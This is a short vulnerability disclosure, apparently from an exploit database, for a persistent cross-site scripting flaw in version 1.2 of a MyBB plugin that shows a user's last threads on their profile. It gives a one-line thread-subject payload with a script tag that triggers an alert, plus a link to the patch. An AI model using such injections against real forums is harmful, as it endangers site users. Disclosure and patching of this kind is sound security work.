# Exploit Title: MyBB Last User's Threads in Profile Plugin v1.2 - Persistent XSS# Date: 3/19/2018# Author: 0xB9# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com# Software Link: https://community.mybb.com/mods.php?action=view&pid=910# Version: v1.2# Tested on: Ubuntu 17.101. Description:
Display last threads in user profile.2. Proof of Concept:
Persistent XSS
- Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>">- Now visit your profile to see the alert.3. Solution:
Patch: https://github.com/vintagedaddyo/MyBB_Plugin_Last-User-s-Threads-in-Profile/commit/5e3b81450d0bf7935885db2622f1a42e5961258d